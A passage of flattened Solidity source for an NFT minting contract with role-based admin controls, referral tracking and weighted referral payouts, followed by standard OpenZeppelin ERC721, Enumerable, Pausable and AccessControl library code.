using SafeMath for uint256;
struct Referral {
address referrerAddress;
address referralAddress;
uint256 tokenID;
}
bytes32 private constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
bytes32 private constant TEAM_ROLE = keccak256("TEAM_ROLE");
bytes32 private constant REFERRER_ROLE = keccak256("REFERRER_ROLE");
bool private mintIsLive_ = false;
bool private isLocked_ = false;
bool private isPrerelease_ = true;
string private prereleaseURI_;
string private baseURI_;
string private constant baseURIExtension_ = ".json";
uint256 private mintPrice_;
uint256 private maxMintCount_;
uint256 private maxOwnable_;
uint256 private maxSupply_;
mapping(address => uint256) private freeMints_;
Counters.Counter private tokenIdCounter_;
mapping(address => Referral[]) private referrers_;
address[] private referrerKeys_;
mapping(address => bool) private hasAddedReferrer_;
address private referralFallbackAddress_;
mapping(address => bool) private teamAddresses_;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _prereleaseURI,
string memory _baseURITemp,
address[] memory _splitAddresses,
uint256[] memory _splitShares,
uint256[] memory _referralBaseArgs,
address _referralFallbackAddress,
uint256[] memory _mintBaseArgs
) ERC721(_tokenName, _tokenSymbol)
PaymentSplitterAdjustable(_splitAddresses, _splitShares, _referralBaseArgs)
{
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(ADMIN_ROLE, _msgSender());
_setupRole(TEAM_ROLE, _msgSender());
for(uint256 i = 0; i < _splitAddresses.length; i++) {
_setupRole(TEAM_ROLE, _splitAddresses[i]);
teamAddresses_[_splitAddresses[i]] = true;
}
setPrereleaseURI(_prereleaseURI);
setBaseURI(_baseURITemp);
setReferralFallbackAddress(_referralFallbackAddress);
setMintPrice(_mintBaseArgs[0]);
setMaxMintCount(_mintBaseArgs[1]);
setMaxOwnable(_mintBaseArgs[2]);
setMaxSupply(_mintBaseArgs[3]);
}
function getIsPaused() external view returns(bool) {
return paused();
}
function setIsPaused(bool _isPaused) external onlyRole(ADMIN_ROLE) {
require(paused() != _isPaused, "Contract is already in that paused state");
if (_isPaused) {
_pause();
} else {
_unpause();
}
}
modifier whenNotLocked {
require(!isLocked_);
_;
}
modifier whenNotLockedOrPaused {
require(!isLocked_ && !paused());
_;
}
function getIsLocked() external view whenNotPaused returns(bool) {
return isLocked_;
}
function setIsLocked(bool _isLocked) external whenNotPaused onlyRole(ADMIN_ROLE) {
require(isLocked_ != _isLocked, "Contract is already in that locked state");
isLocked_ = _isLocked;
}
modifier whenMintIsLive {
require(mintIsLive_);
_;
}
function getMintIsLive() external view whenNotPaused returns(bool) {
return mintIsLive_;
}
function setMintIsLive(bool _mintIsLive) external whenNotLockedOrPaused onlyRole(ADMIN_ROLE) {
require(mintIsLive_ != _mintIsLive, "Contract is already in that live state");
mintIsLive_ = _mintIsLive;
}
function getIsPrerelease() external view whenNotPaused returns(bool) {
return isPrerelease_;
}
function setIsPrerelease(bool _isPrerelease) external whenNotLockedOrPaused onlyRole(ADMIN_ROLE) {
isPrerelease_ = _isPrerelease;
}
function getPrereleaseURI() external view whenNotPaused returns(string memory) {
return prereleaseURI_;
}
function setPrereleaseURI(string memory _prereleaseURI) public whenNotLockedOrPaused onlyRole(ADMIN_ROLE) {
prereleaseURI_ = _prereleaseURI;
}
function getBaseURI() external view whenNotPaused returns (string memory) {
return string(_baseURI());
}
function _baseURI() internal view override whenNotPaused returns (string memory) {
return string(baseURI_);
}
function setBaseURI(string memory _baseURITemp) public whenNotLockedOrPaused onlyRole(ADMIN_ROLE) {
baseURI_ = _baseURITemp;
}
function getTokenURI(uint256 _tokenID) external view whenNotPaused returns (string memory) {
return string(tokenURI(_tokenID));
}
function tokenURI(uint256 tokenId) public view virtual override whenNotPaused returns (string memory) {
if(isPrerelease_) {
return string(prereleaseURI_);
}
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), string(baseURIExtension_))) : "";
}
function getMintPrice() public view whenNotPaused returns(uint256) {
return mintPrice_;
}
function setMintPrice(uint256 _mintPrice) public whenNotLockedOrPaused onlyRole(ADMIN_ROLE) {
mintPrice_ = _mintPrice;
}
function getMaxMintCount() public view whenNotPaused returns(uint256) {
return maxMintCount_;
}
function setMaxMintCount(uint256 _maxMintCount) public whenNotLockedOrPaused onlyRole(ADMIN_ROLE) {
maxMintCount_ = _maxMintCount;
}
function getMaxOwnable() public view whenNotPaused returns(uint256) {
return maxOwnable_;
}
function setMaxOwnable(uint256 _maxOwnable) public whenNotLockedOrPaused onlyRole(ADMIN_ROLE) {
maxOwnable_ = _maxOwnable;
}
function getMaxSupply() public view whenNotPaused returns(uint256) {
return maxSupply_;
}
function setMaxSupply(uint256 _maxSupply) public whenNotLockedOrPaused onlyRole(ADMIN_ROLE) {
maxSupply_ = _maxSupply;
}
function getTotalSupply() public view whenNotPaused returns(uint256) {
return totalSupply();
}
function mintToken(uint256 _mintCount, address _referrerAddress) external payable whenMintIsLive whenNotPaused {
mintTokenTo(_mintCount, _referrerAddress, _msgSender());
}
function mintTokenTo(uint256 _mintCount, address _referrerAddress, address _to) public payable whenMintIsLive whenNotPaused {
require(_mintCount > 0, "Must mint at least 1, increase mintCount");
require(_mintCount + getTotalSupply() <= getMaxSupply(), "Minting too many, decrease mintCount or check all have not been minted");
require(balanceOf(_msgSender()) + _mintCount <= getMaxOwnable(), "Own too many, decrease mintCount or check you own fewer than the max owned");
if (freeMints_[_msgSender()] >= _mintCount) {
freeMints_[_msgSender()] -= _mintCount;
} else {
require(_mintCount <= getMaxMintCount(), "Minting too many, decrease mintCount");
require(msg.value >= getMintPrice() * _mintCount, "Value sent must be higher to mint the mintCount");
if (_referrerAddress == address(0) || teamAddresses_[_referrerAddress]) {
_referrerAddress = getReferralFallbackAddress();
}
if (!hasAddedReferrer_[_referrerAddress]) {
_setupRole(REFERRER_ROLE, _referrerAddress);
}
}
for (uint256 i = 0; i < _mintCount; i++) {
uint256 tokenID = tokenIdCounter_.current();
tokenIdCounter_.increment();
setReferral(_referrerAddress, _msgSender(), tokenID);
_safeMint(_to, tokenID);
}
}
function getFreeMints(address _account) public view whenNotPaused returns(uint256) {
return freeMints_[_account];
}
function setFreeMints(address _account, uint256 _count) external whenNotPaused onlyRole(ADMIN_ROLE) {
freeMints_[_account] = _count;
}
function getReferrals(address _referrer) public view whenNotPaused returns(Referral[] memory) {
return referrers_[_referrer];
}
function getAllReferrals() public view whenNotPaused returns(Referral[] memory) {
uint256 totalReferralCount;
uint256 tempReferralCount;
for(uint256 i = 0; i < referrerKeys_.length; i++)
{
for(uint256 j = 0; j < referrers_[referrerKeys_[i]].length; j++)
{
totalReferralCount++;
}
}
Referral[] memory referralsTemp = new Referral[](totalReferralCount);
for(uint256 i = 0; i < referrerKeys_.length; i++)
{
for(uint256 j = 0; j < referrers_[referrerKeys_[i]].length; j++)
{
referralsTemp[tempReferralCount] = referrers_[referrerKeys_[i]][j];
tempReferralCount++;
}
}
return referralsTemp;
}
function getAllReferralsCount() public view whenNotPaused returns(uint256) {
return getAllReferrals().length;
}
function getReferralFallbackAddress() public view whenNotPaused returns(address) {
return referralFallbackAddress_;
}
function setReferralFallbackAddress(address _referralFallbackAddress) public whenNotPaused onlyRole(ADMIN_ROLE) {
referralFallbackAddress_ = _referralFallbackAddress;
}
function setReferral(address _referrer, address _referral, uint256 _tokenID) internal whenNotPaused {
if(!hasAddedReferrer_[_referrer]) {
hasAddedReferrer_[_referrer] = true;
referrerKeys_.push(_referrer);
}
referrers_[_referrer].push(Referral(_referrer, _referral, _tokenID));
}
function getShares(address _account) external view whenNotPaused returns(uint256) {
return shares(_account);
}
function setShares(address _account, uint256 _shares) external whenNotPaused onlyRole(ADMIN_ROLE) {
setPayee(_account, _shares);
}
function getSharesPending(address _account) external view returns(uint256) {
return calculateShares(_account, getTotalSupply());
}
function getSharesPotential(address _account) external view returns(uint256) {
return calculateShares(_account, getMaxSupply());
}
function calculateShares(address _referrerAddress, uint256 _supply) internal view returns(uint256) {
uint256 referralTotal = getReferrals(_referrerAddress).length;
uint256 referralPercentWeighted = referralTotal.mul(getReferralBaseWeight()) + referralTotal.mul(referralTotal);
referralPercentWeighted = referralPercentWeighted.mul(getReferralReservedShares());
referralPercentWeighted = referralPercentWeighted.div(getReferralBaseWeight() + 1);
uint256 referrersPercentWeightedTotal;
for(uint256 i = 0; i < referrerKeys_.length; i++)
{
uint256 _referralTotal = getReferrals(referrerKeys_[i]).length;
uint256 _referralPercentWeighted = _referralTotal.mul(getReferralBaseWeight()) + _referralTotal.mul(_referralTotal);
_referralPercentWeighted = _referralPercentWeighted.mul(getReferralReservedShares());
_referralPercentWeighted = _referralPercentWeighted.div(getReferralBaseWeight() + 1);
referrersPercentWeightedTotal += _referralPercentWeighted;
}
uint256 shares = referralPercentWeighted.mul(getReferralReservedShares());
shares = shares.div(referrersPercentWeightedTotal);
uint256 shareUnlockWeight = _supply.mul(getReferralShareUnlockBaseWeight());
shareUnlockWeight = shareUnlockWeight.div(getMaxSupply());
shareUnlockWeight = shareUnlockWeight.mul(shareUnlockWeight);
shareUnlockWeight = shareUnlockWeight.div(getReferralShareUnlockBaseWeight());
shares = shares.mul(shareUnlockWeight);
shares = shares.div(getReferralShareUnlockBaseWeight());
shares = shares.mul(getAllReferralsCount());
shares = shares.div(_supply);
return shares;
}
function setReferrerShares(address _account, uint256 _shares) private whenNotPaused onlyRole(REFERRER_ROLE) {
setPayeeReferrer(_account, _shares);
}
// Shares are not allocated until withdraw time, so we calculate with _pendingPaymentAtWithdraw
function getPendingPayment(address _referrerAddress) public view returns (uint256) {
uint256 totalReceived = address(this).balance + totalReleased();
return calculatePendingPaymentPotential(calculateShares(_referrerAddress, getTotalSupply()), totalReceived, getWithdrawn(_referrerAddress));
}
function getPendingPaymentPotential(address _referrerAddress) internal view returns (uint256) {
uint256 totalReceived = address(this).balance + totalReleased() + (getMintPrice() * (getMaxSupply() - getTotalSupply()));
return calculatePendingPaymentPotential(calculateShares(_referrerAddress, getMaxSupply()), totalReceived, getWithdrawn(_referrerAddress));
}
function getPendingPaymentAndTotalWithdrawn(address _referrerAddress) external view returns (uint256) {
return getWithdrawn(_referrerAddress) + getPendingPayment(_referrerAddress);
}
function getPendingPaymentAndTotalWithdrawnPotential(address _referrerAddress) external view returns (uint256) {
return getWithdrawn(_referrerAddress) + getPendingPaymentPotential(_referrerAddress);
}
function getWithdrawn(address _referrerAddress) public view returns (uint256) {
return released(_referrerAddress);
}
function withdraw() external whenNotPaused onlyRole(TEAM_ROLE) {
withdrawTo(payable(_msgSender()));
}
function withdrawReferrer() external whenNotPaused onlyRole(REFERRER_ROLE) {
setReferrerShares(_msgSender(), calculateShares(_msgSender(), getTotalSupply()));
withdrawTo(payable(_msgSender()));
}
function withdrawTo(address payable _account) private whenNotPaused {
super.release(_account);
}
function withdrawTokenTo(IERC20 _token, address _account) external whenNotPaused onlyRole(ADMIN_ROLE) {
super.release(_token, _account);
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override(ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, AccessControl) whenNotPaused returns (bool) {
return super.supportsInterface(interfaceId);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
